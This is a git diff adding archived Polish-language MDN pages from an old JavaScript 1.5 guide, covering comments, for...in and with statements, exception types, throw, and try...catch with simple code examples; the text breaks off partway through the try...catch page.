+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Podklasy_i_dziedziczenie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Podklasy_i_dziedziczenie">Podklasy i dziedziczenie</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Dodawanie_i_usuwanie_w.C5.82asno.C5.9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Dodawanie_i_usuwanie_w.C5.82asno.C5.9Bci">Dodawanie i usuwanie własności</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#R.C3.B3.C5.BCnice" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#R.C3.B3.C5.BCnice">Różnice</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem">Praca z przykładem</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii">Tworzenie hierarchii</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu">Własności obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności">Dziedziczenie własności</a></dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności">Dodawanie własności</a></dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Wi%C4%99cej_elastycznych_konstruktor%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Więcej_elastycznych_konstruktorów">Więcej elastycznych konstruktorów</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności">Powrót dziedziczenia własności</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone">Wartości lokalne vs. dziedziczone</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Określanie_wzajemnych_relacji_obiektu">Określanie wzajemnych relacji obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Globalne_informacje_w_konstruktorach">Globalne informacje w konstruktorach</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Brak_wielokrotnego_dziedziczenia" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Brak_wielokrotnego_dziedziczenia">Brak wielokrotnego dziedziczenia</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Podgl.C4.85d_klas_LiveConnect" name="Podgl.C4.85d_klas_LiveConnect"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect">Podgląd klas LiveConnect</a></h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Praca_z_klas%C4%85_opakowuj%C4%85c%C4%85" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Praca_z_klasą_opakowującą">Praca z klasą opakowującą</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java">Komunikacja między JavaScript a Java</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy">Obiekt opakowujący</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Praca_z_tablicami_w_Javie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Praca_z_tablicami_w_Javie">Praca z tablicami w Javie</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Referencja_paczki_i_klasy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Referencja_paczki_i_klasy">Referencja paczki i klasy</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Argumenty_typu_char" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Argumenty_typu_char">Argumenty typu char</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript">Komunikacja między Java a JavaScript</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript/U%C5%BCywanie_klas_LiveConnect" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript/Używanie_klas_LiveConnect">Używanie klas LiveConnect</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych">Konwersja typu danych</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja JavaScript do Java</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja Java do JavaScript</a></dd>
+ </dl>
+ </dd>
+</dl>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html
new file mode 100644
index 0000000000..4c7477d922
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html
@@ -0,0 +1,26 @@
+---
+title: Instrukcje komentarzy
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>
+</p>
+<h3 id="Komentarze" name="Komentarze"> Komentarze </h3>
+<p>komentarze są notatkami autora, które wyjaśniają co znaczy dany kawałek kodu. Komentarze nie są wczytywane przez przeglądarkę. W JavaScript mamy ten sam styl komentarzy co w Java i C++:
+</p>
+<ul><li> Komentarze w pojedyńczej linii są wstawiane za pomoca podwójnych znaków slash (//).
+</li><li> Komentarze blokowe są wstawiane za pomoca /* i następnie zakończone */:
+</li></ul>
+<p><b>Przykład</b><br>
+Następujący kod pokazuje komentarze:
+</p>
+<pre>// To jest pojedyńczy komentarz.
+
+/* To jest komentarz blokowy. Może być dowolnej długości i wstwiać go możemy w
+każdym miejscu, gdzie tylko będziemy chcieli. */
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Comments", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_para_comentarios", "fr": "fr/Guide_JavaScript_1.5/Commentaires", "ja": "ja/Core_JavaScript_1.5_Guide/Comments" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html
new file mode 100644
index 0000000000..45442f2c63
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html
@@ -0,0 +1,50 @@
+---
+title: Instrukcje manipulacji obiektem
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_manipulacji_obiektem" name="Instrukcja_manipulacji_obiektem">Instrukcja manipulacji obiektem</h3>
+<p>JavaScript używa instrukcji <strong>for...in</strong> i <strong>with</strong> do manipulacji obiektami.</p>
+<h4 id="Instrukcja_for...in" name="Instrukcja_for...in">Instrukcja for...in</h4>
+<p>Instrukcja <code><strong>for...in</strong></code> cyklicznie powtarza specyficzną wartość wszystkich właściwości obiektu. Dla każdej oddzielnej właściwości, JavaScript wykonuje specyficzna instrukcję. Instrukcja <code><strong>for...in</strong></code> wygląda jak pętle:</p>
+<pre>for (variable in object) {
+ instrukcje
+}
+</pre>
+<p><strong>Przykład</strong><br>
+ Następujaca funkcja pobiera obiekt i jego nazwę jako argument. Następnie iteruje ją nad wszystkimi właściwościami obiektu i zwraca łańcuch, którym jest lista właściwościami nazw i ich wartości.</p>
+<pre>function dump_props(obj, obj_name) {
+ var result = "";
+ for (var i in obj) {
+ result += obj_name + "." + i + " = " + obj[i] + "&lt;BR&gt;"
+ }
+ result += "&lt;HR&gt;";
+ return result;
+}
+</pre>
+<p>Dla obiektu <code><strong>car</strong></code> z właściwościami <code><strong>make</strong></code> i <code><strong>model</strong></code>, będzie rezultat:</p>
+<pre>car.make = Ford
+car.model = Mustang
+</pre>
+<h4 id="Instrukcja_with" name="Instrukcja_with">Instrukcja with</h4>
+<p>Instrukcja <code><strong>with</strong></code> nawiązuje z domyślnym obiektem <code><strong>for</strong></code> ustawienia instrukcji. W JavaScript jakikolwiek z niewykwalifikowanych nazw bez ustawień instrukcji określającej domyślny obraz. Jeśli niewykwalifikowana nazwa odpowiada właściwości, to właściwość jest użyta w instrukcji; w przeciwnym wypadku zostanie użyta, zmienna lokalna lub globalna.</p>
+<p>Składnia pętli <code><strong>with</strong></code> wygląda:</p>
+<pre>with (object){
+ instrukcja
+}
+</pre>
+<p><strong>Przykład</strong><br>
+ Następująca instrukcja <code><strong>with</strong></code> określa, że obiekt <code><strong>Math</strong></code> jest obiektem domyślnym. Następująca instrukcja <code><strong>with</strong></code> odwołuje sie do właściwości instrukcji metod <code><strong>PI</strong></code> i <code><strong>cos</strong></code> i <code><strong>sin</strong></code>, bez specyficznego obiektu. JavaScript bierze na siebie obiekt <code><strong>Math</strong></code> dla tych referencji.</p>
+<pre>var a, x, y;
+var r=10
+with (Math) {
+ a = PI * r * r;
+ x = r * cos(PI);
+ y = r * sin(PI/2);
+}
+</pre>
+<p>Nota: Używając instrukcji <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/with" title="pl/Dokumentacja_języka_JavaScript_1.5/Polecenia/with">with</a> znacząco spowolniasz jego działanie.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html
new file mode 100644
index 0000000000..a31e3144d3
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html
@@ -0,0 +1,42 @@
+---
+title: Instrukcje obsługi wyjątków
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcje_obs.C5.82ugi_wyj.C4.85tk.C3.B3w" name="Instrukcje_obs.C5.82ugi_wyj.C4.85tk.C3.B3w">Instrukcje obsługi wyjątków</h3>
+<p>Możesz wywoływać wyjątki używając instrukcji <code>throw</code> i obsługiwać je za pomocą instrukcji <code>try...catch</code>.</p>
+<p>Instrukcji <code>try...catch</code> używa się również do obsługi wyjątków Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a> i <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript">Komunikacja między Java a JavaScript</a>, aby uzyskać więcej informacji.</p>
+<ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_throw">Instrukcja throw</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_try...catch">Instrukcja try...catch</a></li>
+</ul>
+<h3 id="Typy_wyj.C4.85tk.C3.B3w" name="Typy_wyj.C4.85tk.C3.B3w">Typy wyjątków</h3>
+<p>Niemal każdy wyjątek może zostać wywołany w JavaScripcie. Niemniej jednak nie wszystkie wywołane obiekty są tworzone jako równe. Choć częste jest wyświetlanie liczb lub łańcuchów znaków jako błędów, użycie jednego z typów wyjątków stworzonych szczególnie do tego celu jest bardziej efektywne:</p>
+<ul>
+ <li>Wyjątki ECMAScript:
+ <ul>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Error">Error</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/EvalError">EvalError</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/RangeError">RangeError</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/ReferenceError">ReferenceError</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/SyntaxError">SyntaxError</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/TypeError">TypeError</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/URIError">URIError</a></li>
+ </ul>
+ </li>
+ <li>Wyjątki DOM:
+ <ul>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/DOMException">DOMException</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/EventException">EventException</a></li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/RangeException">RangeException</a></li>
+ <li>... (?)</li>
+ </ul>
+ </li>
+ <li><a href="pl/NsIXPCException">nsIXPCException</a> (<a href="pl/XPConnect">XPConnect</a>)</li>
+</ul>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje komentarzy", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja throw") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html
new file mode 100644
index 0000000000..d09220143a
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html
@@ -0,0 +1,45 @@
+---
+title: Instrukcja throw
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<div class="noinclude">
+ <h3 id="Instrukcja_throw" name="Instrukcja_throw">Instrukcja throw</h3>
+ <p>Użyj instrukcji <code>throw</code>, aby wywołać wyjątek. Gdy wywołujesz wyjątek, określasz wyrażenie zawierające wartość, która ma zostać wywołana:</p>
+ <pre class="eval">throw wyrazenie;
+</pre>
+ <p>Możesz wywołać dowolne wyrażenie, nie tylko wyrażenie konkretnego typu. Poniższy kod wywołuje kilka wyjątków różnych typów:</p>
+ <pre class="eval">throw "Error2";
+throw 42;
+throw true;
+throw {toString: function() { return "Jestem obiektem!"; } };
+</pre>
+ <div class="note">
+ <b>Uwaga:</b> Możesz określić obiekt podczas wywoływania wyjątku. Można się wtedy odnieść do własności obiektu w bloku <code>catch</code>. Poniższy przykład tworzy obiekt <code>myUserException</code> typu <code>UserException</code> i używa go w instrukcji throw.</div>
+ <p> </p>
+ <pre class="eval">// Utwórz obiekt typu UserException
+function UserException (message)
+{
+ this.message=message;
+ this.name="UserException";
+}
+
+// Przekonwertuj wyjątek do ładnego łańcucha znaków,
+// gdy ma on zostać użyty jako łańcuch znaków (np. przez konsolę błędów)
+UserException.prototype.toString = function ()
+{
+ return this.name + ': "' + this.message + '"';
+}
+
+// Utwórz instancję typu obiektu i wywołaj ją
+throw new UserException("Za duża wartość");
+</pre>
+ <div class="noinclude">
+ <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja try...catch") }}</p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html
new file mode 100644
index 0000000000..229633025c
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html
@@ -0,0 +1,114 @@
+---
+title: Instrukcja try...catch
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_try...catch" name="Instrukcja_try...catch">Instrukcja <code><b>try...catch</b></code></h3>
+<p>Instrukcja <code><b>try...catch</b></code> śledzi blok instrukcji try, i określa jedną lub więcej odpowiedzi które powinny wyrzucić wyjątki. Jeśli wyjątek jest rzucony, instrukcja <code><b>try...catch</b></code> go łapie.</p>
+<p>Instrukcja <code><b>try...catch</b></code> stanowi blok <code><b>try</b></code>, który stanowi jedną lub więcej instrukcji, i zero lub więcęj bloków stanowiących <code><b>catch</b></code>, instrukcję, który określa będzie wykonana jeśli wyjątek wystąpi w bloku try. To jest, to co nastąpi w bloku <code><b>try</b></code>, i jeśli nie nastąpi, chcesz przejąć kontrolę bloku <code><b>catch</b></code>. Jeśli jakakolwiek instrukcja bez bloku <code><b>try</b></code> (lub w nazwie funkcji nie występuje blok <code><b>try</b></code>) wyrzucany jest wyjątek, kontrola natychmiastowo wraca do bloku wyjątku, <code><b>catch</b></code>. Jeśli nie jest wyrzucony wyjątek w następującym bloku <code><b>try</b></code>, blok <code><b>catch</b></code> zostanie opuszczony. Blok kończący (finall) wykonany jest po wykonanych blokach <code><b>try</b></code> i <code><b>catch</b></code> przed instrukcjami następująca instrukcja <code><b>try...catch</b></code>.</p>
+<p>Następujący przykład używa instrukcji <code><b>try...catch</b></code>. Przykład nazywa się funkcją, która odzyskuje nazwę miesiąca z tablicy, która jest ulokowana w wartości przychodzącej do funkcji. Jeśli wartość nie jest przesyłana jako numer miesiąca (1-12), wyrzucony jest wyjątek wartości <code><b>InvalidMonthNo</b></code> i instrukcje w bloku <code>catch</code> ustawiają zmienną <code><b>monthName</b></code> na <code><b>unknown</b></code>.</p>
+<pre>function getMonthName (mo) {
+ mo=mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
+ var months=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul",
+ "Aug","Sep","Oct","Nov","Dec");
+ if (months[mo] != null) {
+ return months[mo]
+ } else {
+ throw "InvalidMonthNo"
+ }
+}
+
+try {
+// statements to try
+ monthName=getMonthName(myMonth) // function could throw exception
+}
+catch (e) {
+ monthName="unknown"
+ logMyErrors(e) // pass exception object to error handler
+}
+</pre>
+<h4 id="Blok_catch" name="Blok_catch">Blok <code><b>catch</b></code></h4>
+<p>Użyj pojedyńczego bloku <code><b>catch</b></code> do uchwytu wszystkich wyjątków, które mogą generować w bloku <code><b>try</b></code>, lub Ty potrafisz użyć separatora bloków <code><b>catch</b></code>, każdego, którego uchwyty są szczególnym typem wyjątku.</p>
+<p><b>Pojedyńczy blok catch</b><br>
+ Użyj pojedyńczej instrukcji <code><b>try...catch</b></code>, bloku <code><b>catch</b></code> (odzyskanie bloku) wykonane kodu błędu uchwytu dla kazdego wyjątku wyrzuconego w bloku <code><b>try</b></code>.</p>
+<p>Pojedyńczy blok <code><b>catch</b></code> ma następującą składnie:</p>
+<pre>catch (catchID) {
+ statements
+}
+</pre>
+<p>Blok <code><b>catch</b></code> wyszczególnia identyfikatory (<code><b>catchID</b></code> w poprzedzającej składni), którego wartość jest trzymana w bliżej określnonej instrukcji <code><b>throw</b></code>; użyj tego identyfikatora do pobrania informacji o wyjątku, który był zrzucony. JavaScript tworzy ten identyfikator, kiedy <code><b>catch</b></code> jest wstępem; ostatni identyfikator tylko dla czasu działanaia bloku <code><b>catch</b></code>; po bloku <code><b>catch</b></code> kończy wykonywanie identyfikatora, który jest nie długo dostępny.</p>
+<p>Na przykład, następujący kod wyrzuca wyjątek. Kiedy wyjątek ma miejsce kontrolne cesje są w bloku <code><b>catch</b></code>.</p>
+<pre>try {
+ throw "myException" // generuje wyjątek
+}
+catch (e) {
+// instrukcja trzymająca jakikolwiek wyjątek
+ logMyErrors(e) // przechodzi z obiektu wyjątku exception object to error handler
+}
+</pre>
+<p><b>Wielokrotne bloki catch</b><br>
+ Pojedyńcza instrukcja <code><b>try</b></code> stanowi wielokrotny warunkowe bloki <code><b>catch</b></code>, każdy który trzyma określony typ wyjątku. W tym przypadku przywłaszcza odpowiedni warunek blok <code><b>catch</b></code> jest możliwy wstęp tylko kiedy wyjątek określa, który blok jest wyrzucony. Mozesz także opcjonalnie dla wszystkich bliżej nieokreślonych bloku wyjątków <code><b>catch-all catch</b></code> jako finalnego bloku w instrukcji bloku catch.</p>
+<p>Na przykład, nstępująca instrukcja powołuje się na trzy inne funkcje (deklarując je gdziekolwiek) który waliduje jego argumenty. Jeśli funkcja walidacji decyduje który komponent jest sprawdzany to wskazuje który nie przechodzi walidacji, to zwraca 0, wywołując odpowiednia wyskok szczególnego wątku.</p>
+<pre>function getCustInfo(name, id, email)
+{
+ var n, i, e;
+
+ if (!validate_name(name))
+ throw "InvalidNameException"
+ else
+ n = name;
+ if (!validate_id(id))
+ throw "InvalidIdException"
+ else
+ i = id;
+ if (!validate_email(email))
+ throw "InvalidEmailException"
+ else
+ e = email;
+ cust = (n + " " + i + " " + e);
+ return (cust);
+}
+</pre>
+<p>Blok warunkowy <code><b>catch</b></code> kontroluje drogę dobierając odpowiedni uchwyt wyjątku.</p>
+<pre>try {
+// funkcja wyrzucająca trzy wyjątki
+ getCustInfo("Lee", 1234, "lee@netscape.com")
+}
+
+catch (e if e == "InvalidNameException") {
+// nazwa uchwytu dla niepoprawnej nazwy
+ bad_name_handler(e)
+}
+
+catch (e if e == "InvalidIdException") {
+// nazwa uchwytu dla błędnych id
+ bad_id_handler(e)
+}
+
+catch (e if e == "InvalidEmailException") {
+// nazwa uchwytu dla błednego adresu email
+ bad_email_handler(e)
+}
+
+catch (e){
+// nie wiadomo co robi, ale się loguje
